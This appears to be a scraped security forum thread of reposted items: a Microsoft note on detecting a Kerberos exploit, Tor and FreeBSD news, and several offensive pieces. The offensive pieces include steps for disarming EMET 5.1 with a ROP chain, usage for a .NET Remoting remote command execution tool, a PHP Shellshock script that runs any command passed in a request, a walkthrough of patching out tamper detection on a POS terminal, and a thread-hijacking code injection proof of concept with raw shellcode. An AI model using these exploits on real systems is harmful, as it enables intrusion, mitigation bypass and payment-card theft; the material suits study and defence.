Companies currently collecting event logs from their domain controllers may be able to detect signs of exploitation pre-update. Please note that this logging will only catch known exploits; there are known methods to write exploits that will bypass this logging. The key piece of information to note in this log entry is that the “Security ID” and “Account Name” fields do not match even though they should. In the screenshot above, the user account “nonadmin” used this exploit to elevate privileges to “TESTLAB\Administrator”. After installing the update, for Windows 2008R2 and above, the 4769 Kerberos Service Ticket Operation event log can be used to detect attackers attempting to exploit this vulnerability. This is a high volume event, so it is advisable to only log failures (this will significantly reduce the number of events generated). After installing the update, exploitation attempts will result in the “Failure Code” of “0xf” being logged. Note that this error code can also be logged in other extremely rare circumstances. So, while there is a chance that this event log could be generated in non-malicious scenarios, there is a high probability that an exploitation attempt is the cause of the event. Remediation The only way a domain compromise can be remediated with a high level of certainty is a complete rebuild of the domain. An attacker with administrative privilege on a domain controller can make a nearly unbounded number of changes to the system that can allow the attacker to persist their access long after the update has been installed. Therefore it is critical to install the update immediately. Additional Notes Azure Active Directory does not expose Kerberos over any external interface and is therefore not affected by this vulnerability. Joe Bialek, MSRC Engineering Sursa: Additional information about CVE-2014-6324 - Security Research & Defense - Site Home - TechNet Blogs
  11. Imi pare rau, nu aveau marimea XXXXXXL.
  12. Disarming and Bypassing EMET 5.1 EMET 5.1 released Last week Microsoft released EMET 5.1 to address some compatibility issues and strengthen mitigations to make them more resilient to attacks and bypasses. We, of course, were curious to see if our EMET 5.0 disarming technique has been addressed by the latest version of the toolkit. After a quick analysis of the EMET.dll function that verifies which protection needs to be applied whenever a critical function is called, it is clear that now the global variable (EMET+0xF2A30 in EMET 5.1) we used in our previous techniques to disarm EMET 4.X and 5.0 is better protected. Mitigations Switch Hardening As previously seen, this global variable stores a pointer to a structure (we called it CONFIG_STRUCT in our previous posts) that among other information, includes a flag acting as a general switch for most of the EMET mitigations at CONFIG_STRUCT+0x558. EMET 5.0 hardened this pointer by encoding it with the Windows API EncodePointer. In EMET 5.1 a pointer to CONFIG_STRUCT is stored in another variable that we called EMETd, as can be seen in the next figure. It is the EMETd address that is now stored in the global variable at EMET+0xF2A30. EMETd is a 12 byte structure defined as follows: struct EMETd { DWORD size; LPVOID lpCONFIG_STRUCT; DWORD writable; } Both CONFIG_STRUCT and EMETd are initialised in a function at EMET+0x254D5 (refer to previous figure). EMET 5.1 adds an “extra safety layer” by using the result of a CPUID instruction to xor-encode the EMETd pointer, after encoding it with EncodePointer. CPUID is called passing 0x1 as an argument (EAX=0x1), which means the toolkit uses “Processor Info and Feature Bits” to perform the xor encoding. The instruction returns the CPU’s signature in EAX, feature flags in EDX and ECX and additional feature info in EBX. Another important change is the fact that the data structure is now located on a read-only memory page, which of course increases the difficulty in switching off EMET mitigations by overwriting the general switch flag. Adapting the Disarming Approach Rather than trying to build a ROP chain to recreate the xor-decoding logic, we tried to look for an easier option. More specifically we looked at borrowing a code chunk in an EMET.dll function that would do the work for us. The code starting at basic block EMET+0x67372 is a good candidate, as it decodes the EMETd pointer and returns the CONFIG_STRUCT address in the EDX register. As shown in the previous figure, to successfully return from the above code, we need to control both EBP and ESI registers. The next step is to take care of the memory page protection. In our last post we showed how CONFIG_STRUCT can be leveraged to obtain a list of unhooked Windows APIs, and we stressed the fact that this could lead to further points of failure. In our case, we can for example, access ntdll!NtProtectVirtualMemory at CONFIG_STRUCT+0x1b8 (the offset didn’t change from EMET 5.0 to 5.1) and change the CONFIG_STRUCT memory page protections before zeroing out the global mitigations switch at CONFIG_STRUCT+0x558. Of course once the unhooked ntdll!NtProtectVirtualMemory is available to us, other options are possible – like for example directly patching EMET shims in order to bypass the checks. EAF and EAF+ were once again bypassed by calling the unhooked version of ntdll!NtSetContextThread located at POINTER(CONFIG_STRUCT+0x518) as we did for EMET 5.0. Wrapping Up To summarise the technique, a successful disarming ROP chain will need to perform the following steps: Gather the EMET.dll base address. Get the “decoding helper” code at address EMET+0x67372. Return into EMET+0x67372 and obtain the CONFIG_STRUCT address in the EDX register. Call ntdll!NtProtectVirtualMemory to make the CONFIG_STRUCT memory page writable. Zero out the global protections switch at POINTER(CONFIG_STRUCT+0x558). We have used this technique and implemented a proof of concept bypass using the Internet Explorer 8 Fixed Col Span ID exploit we’ve used to bypass EMET 4.x and 5.0. The full EMET 5.1 disarming exploit code can be downloaded from the Exploit-DB. The technique was tested against 32-bit systems and results were compared across different operating systems (Windows 7 SP1, Windows 2008 SP1, Windows 8, Windows 8.1). A video of this exploit in action can be seen below: Conclusion We started looking at EMET since version 4.0 and it’s come a long way since. There’s no doubt that Microsoft are stepping up their efforts at making EMET ever more effective. This sort of layered defense goes a long way in disrupting commodity attacks and increasing the level of effort required for successful exploitation. Sursa: Disarming and Bypassing EMET 5.1
  13. De aici: Abusing Samsung KNOX to remotely install a malicious application: story of a half patched vulnerability
  14. Ok, consider ca s-a discutat destul acest subiect. Topic inchis.
  15. Many Tor-anonymized domains seized by police belonged to imposter sites Results of darkweb crawl may come as good news to Tor supporters. by Dan Goodin - Nov 18 2014, 2:40am GTBST A large number of the Tor-anonymized domains recently seized in a crackdown on illegal darknet services were clones or imposter sites, according to an analysis published Monday. That conclusion is based on an indexing of .onion sites available through the Tor privacy service that cloaks the location where online services are hosted. Australia-based blogger Nik Cubrilovic said a Web crawl he performed on the darknet revealed just 276 seized addresses, many fewer than the 414 domains police claimed they confiscated last week. Of the 276 domains Cubrilovic identified, 153 pointed to clones, phishing, or scam sites impersonating one of the hidden services targeted by law enforcement, he said. If corroborated by others, the findings may be viewed as good news for privacy advocates who look to Tor to help preserve their anonymity. Last week's reports that law enforcement agencies tracked down more than 400 hidden services touched off speculation that police identified and were exploiting a vulnerability in Tor itself that allowed them to surreptitiously decloak hidden services. The revelation that many of the seized sites were imposters may help to tamp down such suspicions. Cubrilovic wrote: That the FBI seized so many clone and fake websites suggests a broad, untargeted sweep of hidden services rather than a targeted campaign. The slapshot nature of how sites were seized suggests that rather than starting with an onion address and then discovering the host server to seize, this campaign simply vacuumed up a large number of onion websites by targeting specific hosting companies. We have tracked down the hosting companies affected and the details will be published in a follow-up. Officials with the Tor Project continue to say they have no evidence the mass seizures are the result of a technical exploit. In a blog post published Friday, they wrote: "So far, all indications are that those arrests are best explained by bad opsec for a few of them, and then those few pointed to the others when they were questioned." Sursa: Many Tor-anonymized domains seized by police belonged to imposter sites | Ars Technica
  16. FreeBSD Foundation Announces Generous Donation and Fundraising Milestone The FreeBSD Foundation is pleased to announce it has received a $1,000,000 donation from Jan Koum, CEO and Co-Founder of WhatsApp. This marks the largest single donation to the Foundation since its inception almost 15 years ago, and serves as another example of someone using FreeBSD to great success and then giving back to the community. Find out more about Jan's reasons for donating here. We're now in the process of working together as a team to decide how best to use this gift to serve the FreeBSD community. That plan will combine financial investment, to ensure the effects of this donation are felt for many years to come, and an acceleration of the Foundation's growth into new capabilities and services. FreeBSD has a tremendous impact on our world. Our mission is to increase that impact through educational outreach, advocacy, community support, and technical investments. More information on how we serve each of these areas can be found on our website. With this donation, and the generosity of all those who have donated this year, we have shattered our 2014, million dollar fundraising goal! But this does not mean we can stop our fundraising efforts. Only by increasing the size and diversity of our donor pool can we ensure a stable and consistent funding stream to support the FreeBSD project. Please help us continue to grow FreeBSD's reach and impact on our world. Donate today! Sursa: FreeBSD Foundation: FreeBSD Foundation Announces Generous Donation and Fundraising Milestone
  17. [h=1].NET Remoting Services Remote Command Execution[/h] Source: https://github.com/tyranid/ExploitRemotingService Exploit Database Mirror: http://www.exploit-db.com/sploits/35280.zip ExploitRemotingService (c) 2014 James Forshaw ============================================= A tool to exploit .NET Remoting Services vulnerable to CVE-2014-1806 or CVE-2014-4149. It only works on Windows although some aspects _might_ work in Mono on *nix. Usage Instructions: =================== ExploitRemotingService [options] uri command [command args] Copyright (c) James Forshaw 2014 Uri: The supported URI are as follows: tcp://host:port/ObjName - TCP connection on host and portname ipc://channel/ObjName - Named pipe channel Options: -s, --secure Enable secure mode -p, --port=VALUE Specify the local TCP port to listen on -i, --ipc=VALUE Specify listening pipe name for IPC channel --user=VALUE Specify username for secure mode --pass=VALUE Specify password for secure mode --ver=VALUE Specify version number for remote, 2 or 4 --usecom Use DCOM backchannel instead of .NET remoting --remname=VALUE Specify the remote object name to register -v, --verbose Enable verbose debug output --useser Uses old serialization tricks, only works on full type filter services -h, -?, --help Commands: exec [-wait] program [cmdline]: Execute a process on the hosting server cmd cmdline : Execute a command line process and display stdou t put localfile remotefile : Upload a file to the hosting server get remotefile localfile : Download a file from the hosting server ls remotedir : List a remote directory run file [args] : Upload and execute an assembly, calls entry point user : Print the current username ver : Print the OS version This tool supports exploit both TCP remoting services and local IPC services. To test the exploit you need to know the name of the .NET remoting service and the port it's listening on (for TCP) or the name of the Named Pipe (for IPC). You can normally find this in the server or client code. Look for things like calls to: RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance You can then try the exploit by constructing an appropriate URL. If TCP you can use the URL format tcp://hostname:port/ServiceName. For IPC use ipc://NamedPipeName/ServiceName. A simple test is to do: ExploitRemotingService SERVICEURL ver If successful it should print the OS version of the hosting .NET remoting service. If you get an exception it might be fixed with CVE-2014-1806. At this point try the COM version using: ExploitRemotingService -usecom SERVICEURL ver This works best locally but can work remotely if you modify the COM configuration and disable the firewall you should be able to get it to work. If that still doesn't work then it might be an up to date server. Instead you can also try the full serialization version using. ExploitRemotingService -useser SERVICEURL ls c:\ For this to work the remoting service must be running with full typefilter mode enabled (which is some, especially IPC services). It also only works with the commands ls, put and get. But that should be enough to compromise a box. I've provided an example service to test against. Sursa: http://www.exploit-db.com/exploits/35280/
  18. [h=1]PHP 5.x - Bypass Disable Functions (via Shellshock)[/h] # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror # Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 <?php function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283 if(strstr(readlink("/bin/sh"), "bash") != FALSE) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variables whose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variables that // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, // PHP will let the user modify ANY environment variable! mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail } else return "Not vuln (not bash)"; $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } shellshock($_REQUEST["cmd"]); ?> Sursa: http://www.exploit-db.com/exploits/35146/
  19. [h=1]Visa, MasterCard Removing Passwords from 3D Secure[/h]by Brian Donohue November 17, 2014 , 1:17 pm Payment giants Visa and MasterCard announced plans to eliminate the need for password authentication in the companies’ respective “Verified by Visa” and “SecureCode” payment platforms which are designed to add an additional layer of security to online transactions. In a press release, MasterCard announced that ultimate goal of an upgraded 3D Secure system, set to replace the current system next year, will rely on “richer cardholder data” in order to limit password interruptions in the payment process. In the event that an authentication challenge is required, MasterCard says it plans to replace static, memorized passwords with one-time passwords and fingerprint biometrics. MasterCard is also sponsoring commercial tests to design facial and voice recognition applications for use as authenticators in the future as well as a wristband that authenticates via cardiac rhythm. Threatpost reached out to MasterCard for clarification on what the company means by “richer cardholder data” but did not hear back by the time of publication. 3D Secure is a card-not-present payment protocol developed Visa and adopted by a number of other payment card companies. It was designed to curb the growing problem of fraudulent purchases being made online. When a Verified by Visa or SecureCode user enters her card information to an online merchant, the merchant then sends that payment data to Visa or MasterCard. The payment company replies with an iframe that presents the user with an additional password-based authentication form. If the customer enters the correct password, the merchant receives an authorization code to proceed with the transaction. However, the 3D Secure protocol has been criticized for requiring users to remember yet another complicated password as well as for its user interface, which has been mistaken for a phishing scheme. “All of us want a payment experience that is safe as well as simple, not one or the other,” said Ajay Bhalla, president of enterprise security solutions at MasterCard. “We want to identify people for who they are, not what they remember. We have too many passwords to remember and this creates extra problems for consumers and businesses.” Sursa: Visa, MasterCard Remove Passwords from 3D Secure | Threatpost | The first stop for security news
  20. Scientists develop self-healing virtual machines News Rene Millman Nov 17, 2014 University of Utah creates software that kills off malware in the cloud University of Utah scientists have developed software that can help virtual machines self-heal when under attack from malware. Researchers claim the software not only detects and eradicates never-before-seen viruses and other malware, but also automatically repairs damage caused by them. The software then prevents the invader from infecting the computer again. Dubbed Advanced Adaptive Applications (or A3) the open source software works in a virtual machine, the software monitors the VM’s OS and applications running on Linux. The researchers created “stackable debuggers”; these multiple de-bugging applications run on top of each other and look inside the virtual machine while it is running, constantly monitoring for any out-of-the-ordinary behaviour in the computer. Unlike a normal virus scanner on consumer PCs that compare a list of known viruses to something that has infected the computer, A3 can detect new, unknown viruses or malware automatically by sensing that something is happening in the computer’s operation that is not right. It can then stop the virus, carry out a repair of the damaged software code, and then learn to stop that bug entering the machine again. A3 was co-developed by defence firm Raytheon BBN and was funded by Darpa though its Clean-Slate Design of Resilient, Adaptive, Secure Hosts programme. The four-year project was completed in late September. The software was tested against the recent Shellshock bug. A3 discovered the Shellshock attack on a web server and repaired the damage in four minutes, according to Eric Eide, University of Utah research assistant professor of computer science. “It is a pretty big deal that a computer system could automatically, and in a short amount of time, find an acceptable fix to a widespread and important security vulnerability,” said Eide. “It’s pretty cool when you can pick the Bug of the Week and it works.” Now that the team’s project into A3 is completed and proven to work, Eide said the research team is looking to build on the research and figure out a way to use A3 in cloud computing. If used in a cloud service, such as AWS, that a virus or attack could affect the operation of, A3 could repair it in minutes without having to take the servers down. To find the best business apps for your needs, visit the GetApp store. Sursa: Scientists develop self-healing virtual machines | Cloud Pro
  21. [h=1]Reverse engineering NAND Flash Memory – POS device case study (part 3/3)[/h]Matt_Oh| November 17, 2014 In my first blog, I talked about a method for acquiring a NAND Flash memory image by directly interacting with the chip. After you acquire a raw firmware image, using the various approaches I proposed with my second blog, you should be able to easily identify the layout of the firmware. At this point in the process, it’s time to extract the data and manipulate it. Figure 1 shows a typical firmware image layout. (This is also relevant to the POS device I worked on.) The U-Boot bootloader can be replaced with another bootloader if you like, and the JFFS2 file system can also be replaced with another popular journaling file system. Figure 1 Typical firmware image layout 1st stage bootloader The 1st stage bootloader is usually very architecture-dependent code that performs hardware initialization. The code is automatically loaded at address 0x00000000 by an ARM CPU when it powers up. Figure 2 shows the hardware initialization code from the image I worked on. Figure 2 Hardware initialization code The 1st stage bootloader usually loads up the 2nd stage bootloader – like a U-Boot bootloader for example. This is more of a general purpose bootloader and has more features than the 1st stage bootloader. This 2nd stage bootloader enables user interaction through UART, etc. It can also identify and load the kernel, and various images from various sources - including NAND Flash memory and the network location. Figure 3 Code from U-Boot bootloader U-Boot and U-Boot images The U-Boot bootloader uses U-Boot images to pack the next level OS and recovery file system images. Figure 4 shows the definition of the U-Boot image header. It has a magic value of 4 bytes (27 05 19 56) and a new image always starts with a new block. So identifying U-Boot image is relatively easy. Figure 5 shows a typical U-Boot image header. Figure 4 U-Boot image header Figure 5 U-Boot image example Sometimes, one U-Boot image contains multiple sub-images - Figure 6 shows an example. It contains a Linux kernel image and a Ramdisk image. This is a recovery OS image that is used when the main file system image is damaged or the main kernel doesn’t boot up correctly for some reason. Figure 6 Multi-file image The DumpFlash tool can be used to dump information and extract sub-images from U-Boot images. Figure 7 shows a good example when using the –U option to extract every U-Boot sub-image from the Flash device. Figure 7 DumpFlash.py -U option to extract all sub-images After acquiring the sub-images, depending on the type of the image, you can apply various analysis methods. If the file is a file system image, you can actually mount it on the system and browse the contents. Figure 8 shows an example of mounting an ext2 file system image file extracted from U-Boot image blocks. Figure 8 Mounting RAM disk image Journaling file system Modern embedded systems usually use a journaling file system. This has some advantages over traditional file systems when initial performance is not as good. Usually when the machine starts up, it loads up the whole file system on DRAM first, with modifications to the file system being performed in memory before it is synced to Flash memory. The journaling file system makes it possible to split a file write into small chunks of records, so that it will not re-write the whole file contents when only small parts of it are modified. This is beneficial because reading and writing NAND Flash data is a slow process and excessive writing can diminish the lifespan of a NAND Flash device. Identifying a JFFS2 file system (one of the popular journaling file systems used in the device) is relatively easy. When the JFFS2 software first prepares the NAND Flash device for JFFS2, it leaves a special marker called an erasermaker in the OOB area of the first page of each block. The erasermaker bytes are usually 85 19 03 20 08 00 00 00. (Figure 9) Figure 9 JFFS2 erasermakrer After the JFFS2 file system, investigating the contents is very straightforward. Just by using MTD (Memory Technology Device) in Linux systems, you can directly mount it as a file system. (Figure 10) Figure 10 Mounting JFFS2 image You can then browse the contents using usual Linux commands. (Figure 11) Figure 11 JFFS2 contents Modifying firmware Acquiring firmware in itself is very useful for further analysis and vulnerability research. It is also beneficial if you can modify the firmware and reload it from the machine. This is not quite as easy, but it’s certainly not impossible. The first thing to do is to find the target code to patch. After this you’ll need to fix all related page checksums. For example, the device I worked on has tamper protection. If the device is opened up at least once, it won’t boot up correctly and displays error messages similar to those shown in Figure 12. This is to alert the POS owner if any attempts to modify the device are made. Tamper protection is a big deal with POS devices because they process financial transactions. Obviously, if it is back-doored or tampered with the integrity of the system is lost and it could potentially leak credit and debit card information, such as track 1 and track 2 data. Figure 12 Tamper protection in action When I opened up the device, I saw another very curious device inserted between the front and back panels. This device connects the circuits of the front and back panels. (Figure 13) Figure 13 Front and back panels When I looked closely at the device, it appeared more interesting. (Figure 14) First I thought it was like plastic padding or something, but it actually had circuits inside it. And as I discovered, trying to tamper with this device is not easy. The conducting materials are painted inside the cover and any attempt to tamper with this easily breaks the circuits. So I suspect this device is used for tamper detection. When you open up the device, the current between the back and front panel is broken, and there might be a proprietary chip that detects this. Of course, this is just speculation for now. Figure 14 Circuits inside plastic padding The thing is that I don’t know exactly how tamper detection is performed at the hardware level but it is relatively easy to patch this up in the software level. To circumvent this protection, you need to find the process that actually checks the tamper detection in the device. The process that is responsible for this is the /bin/svcsec program. It is loaded with the rcS script when the system starts up. It uses a proprietary device called /dev/spectrum to retrieve tamper information. The code that is doing the tamper detection is shown in Figure 15 and you can patch the CMP instruction to the CMN instruction to change the control flow. Figure 15 Patching CMP instruction Now that you have a patched binary, you need to write this file into the flat JFFS2 image file. Figure 16 shows this process. DumpJFFS2.py has various command line options. The –t and –s options specify the location and size of the patch location in the file. Here we patched 4 bytes at offset 0x11380 of /bin/svcsec file. It reads the original JFFS2 dump file - named JFFS2-01.dmp - and modifies the affected JFFS2 records, writing the output to the JFFS2-01-Patched.dmp file. Figure 16 DumpJFFS2.py tool to overwrite modified JFFS2 record Figure 17 and Figure 18 show how this command modifies the affected JFFS2 record. The original record has a compressed data size of 0xF4 bytes. If you decompressed this data using the ZLIB library, it would be part of the executable code from /bin/svcsec. The decompressed size is 0x100 bytes. Out of these bytes, we modify only 4 bytes and compress the entire data again, which creates new compressed bytes of 0xEF size. After appending a few 0xFF padding bytes to fill the space between this and next JFFS2 record, the script calculates 3 CRC values – header, data and node - and writes them back to the header. Figure 17 Original JFFS2 record Figure 18 Modified JFFS2 record Now with the patched JFFS2 raw image, you need to flash it back to Flash memory. With the changes made, it affects one page in this case. It doesn’t need to flash whole blocks and pages of the image, it just needs to write back one page. Figure 19 shows the command line options to achieve this. The –OJ option specifies the patched dump file to write back to and the –C option specifies the original JFFS2 dump file. The program compares both images and only writes the modified data. The –b option specifies the range of JFFS2 file system blocks. We already got this information with the DumpFlash.py –j command. You need to erase a block before writing NAND Flash pages – that is how it usually works with Flash memory, so the script will erase the affected block and rewrite the whole block, not just the page. Figure 19 DumpFlash to write affected page Movie 1 shows the process of re-soldering the Flash memory back to the board after modifying the firmware. If this process is successful, you can turn on the device and see it working again with the modified firmware. Movie 1 Re-soldering Flash memory back to the board Conclusion After identifying the layout of the firmware using the various methods I shared last time, you can extract bootloader and file system images. I talked about extracting and modifying U-Boot images and JFFS2 images, which are very popular with embedded systems. Journaling file systems are especially interesting in the way they work and how they are laid out in the image file. Modifying a few bytes in the binary inside the file system involves various levels of modification to the image. First, the whole JFFS2 record that contains the affected bytes needs to be modified. Then the page that contains the specific JFFS2 record needs to be checksumed again. Next you need to write the image back to the physical Flash memory. Finally, you need to re-solder the chip to the board again. I used the example of a POS device. This POS device had tamper protection, but the check for tampering was performed in userland process level, which means that if you can modify the code, the protection is off. So even with very sophisticated hardware devices that detect tampering, a few bytes of code modification nullifies whole physical security concept. Sursa: Reverse engineering NAND Flash Memory – POS device... - HP Enterprise Business Community
  22. [h=3]PoC: Code injection via thread hijacking[/h]by BKsky » Sun Nov 16, 2014 8:46 pm nothing new, it's just a PoC. No NtWriteVirtualMemory, NtMapViewofSection for writing the code. By nature, hijacking threads can have a high level of instability, consider it. Stability and requirements can be improved; it's possible to inject our code without opening a shared section Hit: any process that can keep our code ( somehow ) is useful. code.asm: include masm32rt.inc option casemap:none .data BegMark BYTE 62h, 6Bh, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h BYTE 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h BYTE 37h, 46h, 46h, 46h, 46h, 46h, 46h, 46h SizeofBegMark EQU $-BegMark Shellcode db 83h, 0C4h, 0Ch, 8Bh, 85h, 0E8h, 00h, 00h, 00h, 83h, 0ADh, 3Ch, 05h, 00h, 00h, 04h db 8Bh, 09Dh, 3Ch, 05h, 00h, 00h, 89h, 03h, 0E8h, 00h, 00h, 00h, 00h, 5Fh, 81h, 0C7h db 23h, 00h, 00h, 00h, 6Ah, 00h, 6Ah, 00h, 55h, 57h, 6Ah, 00h, 6Ah, 00h, 0FFh, 95h db 0E0h, 00h, 00h, 00h, 09Dh, 58h, 59h, 5Ah, 5Bh, 5Dh, 5Eh, 5Fh, 5Ch, 0C3h, 8Bh, 0FFh db 8Bh, 74h, 24h, 04h, 64h, 8Bh, 3Dh, 18h, 00h, 00h, 00h, 8Bh, 7Fh, 30h, 8Bh, 7Fh db 10h, 0Fh, 0B7h, 47h, 38h, 85h, 0C0h, 74h, 14h, 8Dh, 86h, 96h, 00h, 00h, 00h, 6Ah db 00h, 50h, 0FFh, 77h, 3Ch, 6Ah, 00h, 0FFh, 96h, 0E4h, 00h, 00h, 00h, 0C2h, 04h SizeofShellcode EQU $-Shellcode UCSTR TittleMsg, "Hello World from:",0 UNICODE_STRING STRUCT _Length WORD ? MaximumLength WORD ? Buffer PWSTR ? UNICODE_STRING ENDS LPUNICODE_STRING typedef PTR UNICODE_STRING RTL_DRIVE_LETTER_CURDIR STRUCT Flags WORD ? _Length WORD ? TimeStamp DWORD ? DosPath UNICODE_STRING <> RTL_DRIVE_LETTER_CURDIR ends LPRTL_DRIVE_LETTER_CURDIR typedef ptr RTL_DRIVE_LETTER_CURDIR RTL_USER_PROCESS_PARAMETERS STRUCT MaximumLength DWORD ? _Length DWORD ? Flags DWORD ? DebugFlags DWORD ? ConsoleHandle LPVOID ? ConsoleFlags DWORD ? StandardInput LPVOID ? StandardOutput LPVOID ? StandardError LPVOID ? CurrentDirectoryPath UNICODE_STRING <> Handle HANDLE ? DllPath UNICODE_STRING <> ImagePathName UNICODE_STRING <> ; Full path in DOS-like format to process'es file image. CommandLine UNICODE_STRING <> Environment LPVOID ? StartingX DWORD ? StartingY DWORD ? CountX DWORD ? CountY DWORD ? CountCharsX DWORD ? CountCharsY DWORD ? FillAttribute DWORD ? WindowFlags DWORD ? ShowWindowFlags DWORD ? WindowTitle UNICODE_STRING <> DesktopInfo UNICODE_STRING <> ShellInfo UNICODE_STRING <> RuntimeData UNICODE_STRING <> CurrentDirectores RTL_DRIVE_LETTER_CURDIR <> EnvironmentSize DWORD ? EnvironmentVersion DWORD ? RTL_USER_PROCESS_PARAMETERS ends LPRTL_USER_PROCESS_PARAMETERS typedef ptr RTL_USER_PROCESS_PARAMETERS REMOTE_CODE_STRUCTURE STRUCT DWORD BeginningMark BYTE SizeofBegMark dup (?) Shellcode BYTE SizeofShellcode dup (?) TittleMsgBox WCHAR sizeof TittleMsg dup (?) CreateThread LPVOID ? MessageBoxW LPVOID ? tc_Eip DWORD ? StackSpace DWORD 100h dup (?) RetRmCode0 LPVOID ? lpAddress LPVOID ? dwSize DWORD ? flAllocationType DWORD ? flProtect DWORD ? RetRmCode1 DWORD ? PopEsi LPVOID ? RetRmCode2 DWORD ? PopEcx LPVOID ? RetRmCode3 DWORD ? src LPVOID ? count DWORD ? _Flags DWORD ? _Eax DWORD ? _Ecx DWORD ? _Edx DWORD ? _Ebx DWORD ? _Ebp DWORD ? _Esi DWORD ? _Edi DWORD ? _Esp DWORD ? REMOTE_CODE_STRUCTURE ends LPREMOTE_CODE_STRUCTURE typedef ptr REMOTE_CODE_STRUCTURE s REMOTE_CODE_STRUCTURE <"begin","sh"> .code entry_shellcode: add esp,0ch assume ebp:LPREMOTE_CODE_STRUCTURE mov eax,[ebp].tc_Eip sub [ebp]._Esp,sizeof DWORD mov ebx,[ebp]._Esp mov [ebx],eax call get_eip get_eip: pop edi add edi,new_thread-get_eip push NULL push 0 push ebp push edi push 0 push NULL call [ebp].CreateThread assume ebp:nothing popfd pop eax pop ecx pop edx pop ebx pop ebp pop esi pop edi pop esp ret ALIGN 4 new_thread: assume fs:nothing mov esi,[esp+04h] mov edi,fs:[18h] mov edi,[edi+30h] mov edi,[edi+10h] assume edi:LPRTL_USER_PROCESS_PARAMETERS assume esi:LPREMOTE_CODE_STRUCTURE movzx eax,[edi].ImagePathName._Length test eax,eax je Finish_ lea eax,[esi].TittleMsgBox push MB_OK push eax push [edi].ImagePathName.Buffer push NULL call [esi].MessageBoxW Finish_: ret 04h end entry_shellcode inject.h: #pragma once #include <Windows.h> #include <stdio.h> #include "NtDef.h" // your nt definitions #define PTR_ADD_OFFSET(Pointer,Offset) ((LPVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset))) #define PTR_SUB_OFFSET(Pointer,Offset) ((LPVOID)((ULONG_PTR)(Pointer) - (ULONG_PTR)(Offset))) const LPWSTR SharedSections[] = { TEXT("\\BaseNamedObjects\\ShimSharedMemory"), TEXT("\\BaseNamedObjects\\mmGlobalPnpInfo"), TEXT("\\BaseNamedObjects\\__ComCatalogCache__"), TEXT("\\BaseNamedObjects\\windows_ie_global_counters"), TEXT("\\BaseNamedObjects\\SessionImmersiveColorSet"), TEXT("\\BaseNamedObjects\\windows_shell_global_counters"), }; /* 50 PUSH EAX FFD6 CALL ESI */ const BYTE RmCode0[] = { 0x50,0xFF,0xD6 }; /* 5E POP ESI 5B POP EBX C3 RETN */ const BYTE RmCodeEsi[] = { 0x5E,0x5B,0xC3 }; /* 5E POP ESI C3 RETN */ const BYTE RmCode1[] = { 0x5E,0xC3 }; /* 59 POP ECX C3 RETN */ const BYTE RmCode2[] = { 0x59,0xC3 }; /* 50 PUSH EAX 53 PUSH EBX FFD6 CALL ESI */ const BYTE RmCode3[] = { 0x50,0x53,0xFF,0xD6 }; /* 57 PUSH EDI FFD1 CALL ECX */ const BYTE RmCodeEsi2[] = { 0x57,0xFF,0xD1 }; /* 5E POP ESI C2 0C00 RETN 0x04 */ const BYTE RMCodeEcx[] = { 0x5E,0xC2,0x04,0x00 }; const BYTE BegMark[] = { 0x62, 0x6B, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x37, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46 }; const BYTE Code[] = { 0x83, 0xC4, 0x0C, 0x8B, 0x85, 0xE8, 0x00, 0x00, 0x00, 0x83, 0xAD, 0x3C, 0x05, 0x00, 0x00, 0x04, 0x8B, 0x9D, 0x3C, 0x05, 0x00, 0x00, 0x89, 0x03, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x81, 0xC7, 0x23, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x55, 0x57, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x95, 0xE0, 0x00, 0x00, 0x00, 0x9D, 0x58, 0x59, 0x5A, 0x5B, 0x5D, 0x5E, 0x5F, 0x5C, 0xC3, 0x8B, 0xFF, 0x8B, 0x74, 0x24, 0x04, 0x64, 0x8B, 0x3D, 0x18, 0x00, 0x00, 0x00, 0x8B, 0x7F, 0x30, 0x8B, 0x7F, 0x10, 0x0F, 0xB7, 0x47, 0x38, 0x85, 0xC0, 0x74, 0x14, 0x8D, 0x86, 0x98, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x50, 0xFF, 0x77, 0x3C, 0x6A, 0x00, 0xFF, 0x96, 0xE4, 0x00, 0x00, 0x00, 0xC2, 0x04 }; const WCHAR MsgTittle[] = TEXT("Hello World from:"); #pragma pack(push,4) typedef struct _REMOTE_CODE_STRUCTURE { BYTE BeginningMark[sizeof(BegMark)]; BYTE Shellcode[sizeof(Code)]; WCHAR TittleMsgBox[sizeof(MsgTittle)]; LPVOID CreateThread; LPVOID MessageBoxW; DWORD tc_Eip; DWORD StackSpace[0x100]; LPVOID RetRmCode0; LPVOID lpAddress; SIZE_T dwSize; DWORD flAllocationType; DWORD flProtect; LPVOID RetRmCode1; LPVOID PopEsi; LPVOID RetRmCode2; LPVOID PopEcx; LPVOID RetRmCode3; LPVOID src; SIZE_T count; DWORD _Flags; DWORD _Eax; DWORD _Ecx; DWORD _Edx; DWORD _Ebx; DWORD _Ebp; DWORD _Esi; DWORD _Edi; DWORD _Esp; }REMOTE_CODE_STRUCTURE,*PREMOTE_CODE_STRUCTURE; 